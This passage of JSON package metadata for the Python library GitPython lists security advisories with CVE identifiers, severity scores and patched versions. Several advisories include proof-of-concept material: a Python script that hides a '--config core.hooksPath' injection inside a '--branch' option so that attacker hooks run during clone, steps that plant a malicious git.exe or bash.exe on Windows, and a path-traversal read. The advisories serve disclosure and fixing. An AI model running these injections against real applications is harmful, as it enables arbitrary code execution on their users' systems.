protection.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-04-25T23:42:16.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","references":["https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4","https://nvd.nist.gov/vuln/detail/CVE-2026-42215","https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47","https://github.com/advisories/GHSA-rpm5-65cw-6hj4"],"source_kind":"github","identifiers":["GHSA-rpm5-65cw-6hj4","CVE-2026-42215"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-26T00:00:12.369Z","updated_at":"2026-10-02T15:03:55.785Z","epss_percentage":0.009,"epss_percentile":0.57913,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ycG01LTY1Y3ctNmhqNM4ABVyD","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1ycG01LTY1Y3ctNmhqNM4ABVyD","packages":[{"ecosystem":"pypi","package_name":"GitPython","versions":[{"first_patched_version":"3.1.47","vulnerable_version_range":"\u003e= 3.1.30, \u003c 3.1.47"}],"purl":"pkg:pypi/gitpython"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ycG01LTY1Y3ctNmhqNM4ABVyD/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS14MnF4LTY5NTMtODQ4Nc4ABVyC","url":"https://github.com/advisories/GHSA-x2qx-6953-8485","title":"GitPython: Unsafe option check validates multi_options before shlex.split transformation","description":"### Summary\n\n`_clone()` validates `multi_options` as the original list, then executes `shlex.split(\" \".join(multi_options))`. A string like `\"--branch main --config core.hooksPath=/x\"` passes validation (starts with `--branch`), but after split becomes `[\"--branch\", \"main\", \"--config\", \"core.hooksPath=/x\"]`. Git applies the config and executes attacker hooks during clone.\n\n### Details\n\nThe vulnerable code is in [`git/repo/base.py` line 1383](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1383):\n```python\nmulti = shlex.split(\" \".join(multi_options))\n```\n\nThen validation runs on the **original** list at [line 1390](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1390):\n```python\nGit.check_unsafe_options(options=multi_options, unsafe_options=cls.unsafe_git_clone_options)\n```\n\nThen execution uses the **transformed** result at [line 1392](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1392):\n```python\nproc = git.clone(multi, \"--\", url, path, ...)\n```\n\nThe [check at `git/cmd.py` line 959](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/cmd.py#L959) uses `startswith`:\n```python\nif option.startswith(unsafe_option) or option == bare_option:\n```\n\n`\"--branch main --config ...\"` does not start with `\"--config\"`, so it passes. After `shlex.split`, `\"--config\"` becomes its own token and reaches git.\n\nAlso affects `Submodule.update()` via `clone_multi_options`.\n\n### PoC\n\n```python\nimport sys, pathlib, subprocess\nsys.path.insert(0, str(pathlib.Path(__file__).resolve().parent))\n\nfrom git import Repo\nfrom git.exc import UnsafeOptionError\n\ntry:\n    Repo.clone_from(\"/nonexistent\", \"/tmp/x\", multi_options=[\"--config\", \"core.hooksPath=/x\"])\nexcept UnsafeOptionError:\n    print(\"multi_options=['--config', '...']: Block as expected\")\nexcept Exception:\n    pass\n\nDIR = pathlib.Path(__file__).resolve().parent / \"workdir_b\"\nSRC = DIR / \"repo\"\nDST = DIR / \"dst\"\nHOOKS = DIR / \"hooks\"\nLOG = DIR / \"output.log\"\n\nif not SRC.exists():\n    SRC.mkdir(parents=True)\n    r = lambda *a: subprocess.run(a, cwd=SRC, capture_output=True)\n    r(\"git\", \"init\", \"-b\", \"main\")\n    (SRC / \"f\").write_text(\"x\\n\")\n    r(\"git\", \"add\", \".\")\n    r(\"git\", \"commit\", \"-m\", \"init\")\n\nHOOKS.mkdir(exist_ok=True)\nhook = HOOKS / \"post-checkout\"\nhook.write_text(f\"#!/bin/sh\\nwhoami \u003e {LOG.as_posix()}\\nhostname \u003e\u003e {LOG.as_posix()}\\n\")\nhook.chmod(0o755)\n\nLOG.unlink(missing_ok=True)\npayload = \"--branch main --config core.hooksPath=\" + HOOKS.as_posix()\n\ntry:\n    Repo.clone_from(str(SRC), str(DST), multi_options=[payload])\nexcept UnsafeOptionError:\n    print(f\"multi_options=['{payload}']: BLOCKED\"); sys.exit(1)\nexcept Exception:\n    pass\n\nif not LOG.exists() and DST.exists():\n    subprocess.run([\"git\", \"checkout\", \"--force\", \"main\"], cwd=DST, capture_output=True)\n\nprint(f\"multi_options=['{payload}']: not blocked\")\nprint(f\"\\nHook executed: {LOG.exists()}\")\nif LOG.exists():\n    print(LOG.read_text().strip())\n```\n\n**Output:**\n```\nmulti_options=['--config', '...']: Block as expected\nmulti_options=['--branch main --config core.hooksPath=.../hooks']: not blocked\n\nHook executed: True\ntexugo\nDESKTOP-5w5HH79\n```\n\n### Impact\n\nAny application passing user input to `multi_options` in `clone_from()`, `clone()`, or `Submodule.update()` is vulnerable. Attacker embeds `--config core.hooksPath=\u003cdir\u003e` inside a string starting with a safe option. Check does not block it. Git executes attacker code. Same class as CVE-2023-40267.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-04-25T23:41:49.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.1,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","references":["https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-x2qx-6953-8485","https://nvd.nist.gov/vuln/detail/CVE-2026-42284","https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47","https://www.tenable.com/cve/CVE-2026-32686","https://github.com/advisories/GHSA-x2qx-6953-8485"],"source_kind":"github","identifiers":["GHSA-x2qx-6953-8485","CVE-2026-42284"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-26T00:00:12.369Z","updated_at":"2026-10-02T15:03:55.786Z","epss_percentage":0.00707,"epss_percentile":0.51528,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14MnF4LTY5NTMtODQ4Nc4ABVyC","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14MnF4LTY5NTMtODQ4Nc4ABVyC","packages":[{"ecosystem":"pypi","package_name":"GitPython","versions":[{"first_patched_version":"3.1.47","vulnerable_version_range":"\u003c 3.1.47"}],"purl":"pkg:pypi/gitpython"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14MnF4LTY5NTMtODQ4Nc4ABVyC/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0ybXFqLW02NXctamdoeM4AA4Vh","url":"https://github.com/advisories/GHSA-2mqj-m65w-jghx","title":"Untrusted search path under some conditions on Windows allows arbitrary code execution","description":"### Summary\n\nThis issue exists because of an incomplete fix for CVE-2023-40590. On Windows, GitPython uses an untrusted search path if it uses a shell to run `git`, as well as when it runs `bash.exe` to interpret hooks. If either of those features are used on Windows, a malicious `git.exe` or `bash.exe` may be run from an untrusted repository.\n\n### Details\n\nAlthough GitPython often avoids executing programs found in an untrusted search path since 3.1.33, two situations remain where this still occurs. Either can allow arbitrary code execution under some circumstances.\n\n#### When a shell is used\n\nGitPython can be told to run `git` commands through a shell rather than as direct subprocesses, by passing `shell=True` to any method that accepts it, or by both setting `Git.USE_SHELL = True` and not passing `shell=False`. Then the Windows `cmd.exe` shell process performs the path search, and GitPython does not prevent that shell from finding and running `git` in the current directory.\n\nWhen GitPython runs `git` directly rather than through a shell, the GitPython process performs the path search, and currently omits the current directory by setting `NoDefaultCurrentDirectoryInExePath` in its own environment during the `Popen` call. Although the `cmd.exe` shell will honor this environment variable when present, GitPython does not currently pass it into the shell subprocess's environment.\n\nFurthermore, because GitPython sets the subprocess CWD to the root of a repository's working tree, using a shell will run a malicious `git.exe` in an untrusted repository even if GitPython itself is run from a trusted location.\n\nThis also applies if `Git.execute` is called directly with `shell=True` (or after `Git.USE_SHELL = True`) to run any command.\n\n#### When hook scripts are run\n\nOn Windows, GitPython uses `bash.exe` to run hooks that appear to be scripts. However, unlike when running `git`, no steps are taken to avoid finding and running `bash.exe` in the current directory.\n\nThis allows the author of an untrusted fork or branch to cause a malicious `bash.exe` to be run in some otherwise safe workflows. An example of such a scenario is if the user installs a trusted hook while on a trusted branch, then switches to an untrusted feature branch (possibly from a fork) to review proposed changes. If the untrusted feature branch contains a malicious `bash.exe` and the user's current working directory is the working tree, and the user performs an action that runs the hook, then although the hook itself is uncorrupted, it runs with the malicious `bash.exe`.\n\nNote that, while `bash.exe` is a shell, this is a separate scenario from when `git` is run using the unrelated Windows `cmd.exe` shell.\n\n### PoC\n\nOn Windows, create a `git.exe` file in a repository. Then create a `Repo` object, and call any method through it (directly or indirectly) that supports the `shell` keyword argument with `shell=True`:\n\n```powershell\nmkdir testrepo\ngit init testrepo\ncp ... testrepo git.exe # Replace \"...\" with any executable of choice.\npython -c \"import git; print(git.Repo('testrepo').git.version(shell=True))\"\n```\n\nThe `git.exe` executable in the repository directory will be run.\n\nOr use no `Repo` object, but do it from the location with the `git.exe`:\n\n```powershell\ncd testrepo\npython -c \"import git; print(git.Git().version(shell=True))\"\n```\n\nThe `git.exe` executable in the current directory will be run.\n\nFor the scenario with hooks, install a hook in a repository, create a `bash.exe` file in the current directory, and perform an operation that causes GitPython to attempt to run the hook:\n\n```powershell\nmkdir testrepo\ncd testrepo\ngit init\nmv .git/hooks/pre-commit.sample .git/hooks/pre-commit\ncp ... bash.exe # Replace \"...\" with any executable of choice.\necho \"Some text\" \u003efile.txt\ngit add file.txt\npython -c \"import git; git.Repo().index.commit('Some message')\"\n```\n\nThe `bash.exe` executable in the current directory will be run.\n\n### Impact\n\nThe greatest impact is probably in applications that set `Git.USE_SHELL = True` for historical reasons. (Undesired console windows had, in the past, been created in some kinds of applications, when it was not used.) Such an application may be vulnerable to arbitrary code execution from a malicious repository, even with no other exacerbating conditions. This is to say that, if a shell is used to run `git`, the full effect of CVE-2023-40590 is still present. Furthermore, as noted above, running the application itself from a trusted directory is not a sufficient mitigation.\n\nAn application that does not direct GitPython to use a shell to run `git` subprocesses thus avoids most of the risk. However, there is no such straightforward way to prevent GitPython from running `bash.exe` to interpret hooks. So while the conditions needed for that to be exploited are more involved, it may be harder to mitigate decisively prior to patching.\n\n### Possible solutions\n\nA straightforward approach would be to address each bug directly:\n\n- When a shell is used, pass `NoDefaultCurrentDirectoryInExePath` into the subprocess environment, because in that scenario the subprocess is the `cmd.exe` shell that itself performs the path search.\n- Set `NoDefaultCurrentDirectoryInExePath` in the GitPython process environment during the `Popen` call made to run hooks with a `bash.exe` subprocess.\n\nThese need only be done on Windows.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-01-10T15:46:00.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.6,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-2mqj-m65w-jghx","https://github.com/gitpython-developers/GitPython/pull/1792","https://github.com/gitpython-developers/GitPython/commit/ef3192cc414f2fd9978908454f6fd95243784c7f","https://nvd.nist.gov/vuln/detail/CVE-2024-22190","https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2024-4.yaml","https://github.com/advisories/GHSA-2mqj-m65w-jghx"],"source_kind":"github","identifiers":["GHSA-2mqj-m65w-jghx","CVE-2024-22190"],"repository_url":"https://github.com/gitpython-developers/GitPython","blast_radius":38.216635024603264,"created_at":"2024-01-10T16:06:14.339Z","updated_at":"2026-10-03T14:10:27.191Z","epss_percentage":0.00316,"epss_percentile":0.21816,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0ybXFqLW02NXctamdoeM4AA4Vh","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0ybXFqLW02NXctamdoeM4AA4Vh","packages":[{"ecosystem":"pypi","package_name":"GitPython","versions":[{"first_patched_version":"3.1.41","vulnerable_version_range":"\u003c 3.1.41"}],"purl":"pkg:pypi/gitpython"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0ybXFqLW02NXctamdoeM4AA4Vh/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jd3ZtLXY0dzgtcTU4Y84AA1lK","url":"https://github.com/advisories/GHSA-cwvm-v4w8-q58c","title":"GitPython blind local file inclusion","description":"### Summary\n\nIn order to resolve some git references, GitPython reads files from the `.git` directory, in some places the name of the file being read is provided by the user, GitPython doesn't check if this file is located outside the `.git` directory. This allows an attacker to make GitPython read any file from the system.\n\n### Details\n\nThis vulnerability is present in\n\nhttps://github.com/gitpython-developers/GitPython/blob/1c8310d7cae144f74a671cbe17e51f63a830adbf/git/refs/symbolic.py#L174-L175\n\nThat code joins the base directory with a user given string without checking if the final path is located outside the base directory.\n\nI was able to exploit it from three places, but there may be more code paths that lead to it:\n\nhttps://github.com/gitpython-developers/GitPython/blob/1c8310d7cae144f74a671cbe17e51f63a830adbf/git/repo/base.py#L605\n\nhttps://github.com/gitpython-developers/GitPython/blob/1c8310d7cae144f74a671cbe17e51f63a830adbf/git/repo/base.py#L620\n\nhttps://github.com/gitpython-developers/GitPython/blob/1c8310d7cae144f74a671cbe17e51f63a830adbf/git/index/base.py#L1353\n\n### PoC\n\nRunning GitPython within any repo should work, here is an example with the GitPython repo.\n\n```python\nimport git\n\nr = git.Repo(\".\")\n\n# This will make GitPython read the README.md file from the root of the repo\nr.commit(\"../README.md\")\nr.tree(\"../README.md\")\nr.index.diff(\"../README.md\")\n\n# Reading /etc/random\n# WARNING: this will probably halt your system, run with caution\n# r.commit(\"../../../../../../../../../dev/random\")\n```\n\n### Impact\n\nI wasn't able to show the contents of the files (that's why \"blind\" local file inclusion), depending on how GitPython is being used, this can be used by an attacker for something _inoffensive_ as checking if a file exits, or cause a DoS by making GitPython read a big/infinite file (like `/dev/random` on Linux systems).\n\n### Possible solutions\n\nA solution would be to check that the final path isn't located outside the `repodir` path (maybe even after resolving symlinks). Maybe there could be other checks in place to make sure that the reference names are valid.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2023-08-30T20:09:36.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-cwvm-v4w8-q58c","https://nvd.nist.gov/vuln/detail/CVE-2023-41040","https://github.com/gitpython-developers/GitPython/blob/1c8310d7cae144f74a671cbe17e51f63a830adbf/git/refs/symbolic.py#L174-L175","https://github.com/gitpython-developers/GitPython/commit/74e55ee4544867e1bd976b7df5a45869ee397b0b","https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2023-165.yaml","https://github.com/gitpython-developers/GitPython/pull/1672","https://github.com/gitpython-developers/GitPython/releases/tag/3.1.37","https://lists.debian.org/debian-lts-announce/2023/09/msg00036.html","https://github.com/gitpython-developers/GitPython/commit/e98f57b81f792f0f5e18d33ee658ae395f9aa3c4","https://lists.debian.org/debian-lts-announce/2024/10/msg00030.html","https://github.com/advisories/GHSA-cwvm-v4w8-q58c"],"source_kind":"github","identifiers":["GHSA-cwvm-v4w8-q58c","CVE-2023-41040"],"repository_url":"https://github.com/gitpython-developers/GitPython","blast_radius":30.662183915088672,"created_at":"2023-08-30T21:05:29.946Z","updated_at":"2026-10-03T14:07:46.139Z","epss_percentage":0.01093,"epss_percentile":0.6354,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jd3ZtLXY0dzgtcTU4Y84AA1lK","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jd3ZtLXY0dzgtcTU4Y84AA1lK","packages":[{"ecosystem":"pypi","package_name":"GitPython","versions":[{"first_patched_version":"3.1.37","vulnerable_version_range":"\u003c 3.1.37"}],"purl":"pkg:pypi/gitpython"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jd3ZtLXY0dzgtcTU4Y84AA1lK/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS13Zm01LXYzNWgtdndmNM4AA1jX","url":"https://github.com/advisories/GHSA-wfm5-v35h-vwf4","title":"GitPython untrusted search path on Windows systems leading to arbitrary code execution","description":"### Summary\n\nWhen resolving a program, Python/Windows look for the current working directory, and after that the PATH environment (see big warning in https://docs.python.org/3/library/subprocess.html#popen-constructor). GitPython defaults to use the `git` command, if a user runs GitPython from a repo has a `git.exe` or `git` executable, that program will be run instead of the one in the user's `PATH`.\n\n### Details\n\nThis is more of a problem on how Python interacts with Windows systems, Linux and any other OS aren't affected by this. But probably people using GitPython usually run it from the CWD of a repo.\n\nThe execution of the `git` command happens in\n\nhttps://github.com/gitpython-developers/GitPython/blob/1c8310d7cae144f74a671cbe17e51f63a830adbf/git/cmd.py#L277 \n\nhttps://github.com/gitpython-developers/GitPython/blob/1c8310d7cae144f74a671cbe17e51f63a830adbf/git/cmd.py#L983-L996\n\nAnd there are other commands executed that should probably be aware of this problem.\n\n### PoC\n\nOn a Windows system, create a `git.exe` or `git` executable in any directory, and import or run GitPython from that directory\n\n```\npython -c \"import git\"\n```\n\nThe git executable from the current directory will be run.\n\n### Impact\n\nAn attacker can trick a user to download a repository with a malicious `git` executable, if the user runs/imports GitPython from that directory, it allows the attacker to run any arbitrary commands.\n\n### Possible solutions\n \n- Default to an absolute path for the git program on Windows, like `C:\\\\Program Files\\\\Git\\\\cmd\\\\git.EXE` (default git path installation).\n- Require users to set the `GIT_PYTHON_GIT_EXECUTABLE` environment variable on Windows systems.\n- Make this problem prominent in the documentation and advise users to never run GitPython from an untrusted repo, or set the `GIT_PYTHON_GIT_EXECUTABLE` env var to an absolute path.\n- Resolve the executable manually by only looking into the `PATH` environment variable (suggested by @Byron)\n\n---\n\n\u003e [!NOTE]\n\u003e This vulnerability was reported via email, and it was decided to publish it here and make it public, so the community is aware of it, and a fix can be provided.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2023-08-29T23:33:53.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.6,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-wfm5-v35h-vwf4","https://nvd.nist.gov/vuln/detail/CVE-2023-40590","https://docs.python.org/3/library/subprocess.html#popen-constructor","https://github.com/gitpython-developers/GitPython/issues/1635","https://github.com/gitpython-developers/GitPython/pull/1636","https://github.com/gitpython-developers/GitPython/commit/8b75434e2c8a082cdeb4971cc6f0ee2bafec45bc","https://github.com/gitpython-developers/GitPython/releases/tag/3.1.33","https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2023-161.yaml","https://github.com/advisories/GHSA-wfm5-v35h-vwf4"],"source_kind":"github","identifiers":["GHSA-wfm5-v35h-vwf4","CVE-2023-40590"],"repository_url":"https://github.com/gitpython-developers/GitPython","blast_radius":38.216635024603264,"created_at":"2023-08-30T00:05:25.418Z","updated_at":"2026-10-08T07:59:31.540Z","epss_percentage":0.00509,"epss_percentile":0.41515,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13Zm01LXYzNWgtdndmNM4AA1jX","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13Zm01LXYzNWgtdndmNM4AA1jX","packages":[{"ecosystem":"pypi","package_name":"gitpython","versions":[{"first_patched_version":"3.1.33","vulnerable_version_range":"\u003c= 3.1.32"}],"purl":"pkg:pypi/gitpython"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13Zm01LXYzNWgtdndmNM4AA1jX/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wcjc2LTVjbTUtdzljas4AA1Py","url":"https://github.com/advisories/GHSA-pr76-5cm5-w9cj","title":"GitPython vulnerable to remote code execution due to insufficient sanitization of input arguments","description":"GitPython before 3.1.32 does not block insecure non-multi options in `clone` and `clone_from`, making it vulnerable to Remote Code Execution (RCE) due to improper user input validation, which makes it possible to inject a maliciously crafted remote URL into the clone command. Exploiting this vulnerability is possible because the library makes external calls to git without sufficient sanitization of input arguments. NOTE: this issue exists because of an incomplete fix for CVE-2022-24439.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2023-08-11T09:30:36.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2023-40267","https://github.com/gitpython-developers/GitPython/pull/1609","https://github.com/gitpython-developers/GitPython/commit/ca965ecc81853bca7675261729143f54e5bf4cdd","https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2023-137.yaml","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/AV5DV7GBLMOZT7U3Q4TDOJO5R6G3V6GH","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PF6AXUTC5BO7L2SBJMCVKJSPKWY52I5R","https://lists.debian.org/debian-lts-announce/2024/10/msg00030.html","https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/AV5DV7GBLMOZT7U3Q4TDOJO5R6G3V6GH","https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/PF6AXUTC5BO7L2SBJMCVKJSPKWY52I5R","https://github.com/advisories/GHSA-pr76-5cm5-w9cj"],"source_kind":"github","identifiers":["GHSA-pr76-5cm5-w9cj","CVE-2023-40267"],"repository_url":"https://github.com/gitpython-developers/GitPython","blast_radius":41.327291363815164,"created_at":"2023-08-11T20:05:17.096Z","updated_at":"2026-10-03T14:07:46.141Z","epss_percentage":0.01182,"epss_percentile":0.66508,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wcjc2LTVjbTUtdzljas4AA1Py","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wcjc2LTVjbTUtdzljas4AA1Py","packages":[{"ecosystem":"pypi","package_name":"GitPython","versions":[{"first_patched_version":"3.1.32","vulnerable_version_range":"\u003c 3.1.32"}],"purl":"pkg:pypi/gitpython"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wcjc2LTVjbTUtdzljas4AA1Py/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1oY3BqLXFwNTUtZ2ZwaM4AAwKi","url":"https://github.com/advisories/GHSA-hcpj-qp55-gfph","title":"GitPython vulnerable to Remote Code Execution due to improper user input validation","description":"All versions of package gitpython are vulnerable to Remote Code Execution (RCE) due to improper user input validation, which makes it possible to inject a maliciously crafted remote URL into the clone command. Exploiting this vulnerability is possible because the library makes external calls to git without sufficient sanitization of input arguments.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2022-12-06T06:30:17.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.2,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2022-24439","https://security.snyk.io/vuln/SNYK-PYTHON-GITPYTHON-3113858","https://github.com/gitpython-developers/GitPython/blob/bec61576ae75803bc4e60d8de7a629c194313d1c/git/repo/base.py#L1249","https://github.com/gitpython-developers/GitPython/issues/1515","https://github.com/gitpython-developers/GitPython/blob/bec61576ae75803bc4e60d8de7a629c194313d1c/git/repo/base.py%23L1249","https://github.com/gitpython-developers/GitPython/releases/tag/3.1.30","https://github.com/gitpython-developers/GitPython/commit/2625ed9fc074091c531c27ffcba7902771130261","https://lists.debian.org/debian-lts-announce/2023/07/msg00024.html","https://security.gentoo.org/glsa/202311-01","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/SJHN3QUXPJIMM6SULIR3PR34UFWRAE7X","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PF6AXUTC5BO7L2SBJMCVKJSPKWY52I5R","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/IKMVYKLWX62UEYKAN64RUZMOIAMZM5JN","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/AV5DV7GBLMOZT7U3Q4TDOJO5R6G3V6GH","https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/SJHN3QUXPJIMM6SULIR3PR34UFWRAE7X","https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/PF6AXUTC5BO7L2SBJMCVKJSPKWY52I5R","https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/IKMVYKLWX62UEYKAN64RUZMOIAMZM5JN","https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/AV5DV7GBLMOZT7U3Q4TDOJO5R6G3V6GH","https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2022-42992.yaml","https://lists.debian.org/debian-lts-announce/2024/10/msg00030.html","https://github.com/advisories/GHSA-hcpj-qp55-gfph"],"source_kind":"github","identifiers":["GHSA-hcpj-qp55-gfph","CVE-2022-24439"],"repository_url":"https://github.com/gitpython-developers/GitPython","blast_radius":40.88291188678489,"created_at":"2022-12-21T16:11:44.934Z","updated_at":"2026-10-03T14:12:00.940Z","epss_percentage":0.05652,"epss_percentile":0.92623,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oY3BqLXFwNTUtZ2ZwaM4AAwKi","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1oY3BqLXFwNTUtZ2ZwaM4AAwKi","packages":[{"ecosystem":"pypi","package_name":"GitPython","versions":[{"first_patched_version":"3.1.30","vulnerable_version_range":"\u003c= 3.1.29"}],"purl":"pkg:pypi/gitpython"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oY3BqLXFwNTUtZ2ZwaM4AAwKi/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/pypi/gitpython","docker_dependents_count":560,"docker_downloads_count":199978831,"usage_url":"https://repos.ecosyste.ms/usage/pypi/gitpython","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/pypi/gitpython/dependencies","status":null,"funding_links":["https://github.com/sponsors/byron"],"critical":true,"issue_metadata":{"last_synced_at":"2026-11-16T21:11:54.043Z","issues_count":311,"pull_requests_count":511,"avg_time_to_close_issue":66769540.74545454,"avg_time_to_close_pull_request":966411.0734693877,"issues_closed_count":275,"pull_requests_closed_count":490,"pull_request_authors_count":143,"issue_authors_count":236,"avg_comments_per_issue":2.919614147909968,"avg_comments_per_pull_request":1.3913894324853229,"merged_pull_requests_count":423,"bot_issues_count":0,"bot_pull_requests_count":51,"past_year_issues_count":23,"past_year_pull_requests_count":207,"past_year_avg_time_to_close_issue":1667412.7142857143,"past_year_avg_time_to_close_pull_request":621134.8615384615,"past_year_issues_closed_count":21,"past_year_pull_requests_closed_count":195,"past_year_pull_request_authors_count":54,"past_year_issue_authors_count":21,"past_year_avg_comments_per_issue":1.173913043478261,"past_year_avg_comments_per_pull_request":0.7053140096618358,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":20,"past_year_merged_pull_requests_count":163,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/issues","maintainers":[{"login":"Byron","count":81,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/Byron"},{"login":"EliahKagan","count":37,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/EliahKagan"}],"active_maintainers":[{"login":"Byron","count":74,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/Byron"},{"login":"EliahKagan","count":12,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/EliahKagan"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/gitpython/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/gitpython/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/gitpython/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/gitpython/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/gitpython/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/gitpython/codemeta","maintainers":[{"uuid":"ByronBates","login":"ByronBates","name":null,"email":null,"url":null,"packages_count":10,"html_url":"https://pypi.org/user/ByronBates/","role":null,"created_at":"2022-12-29T21:15:12.636540Z","updated_at":"2022-12-29T21:15:12.636540Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/maintainers/ByronBates/packages"},{"uuid":"mtrier","login":"mtrier","name":null,"email":nul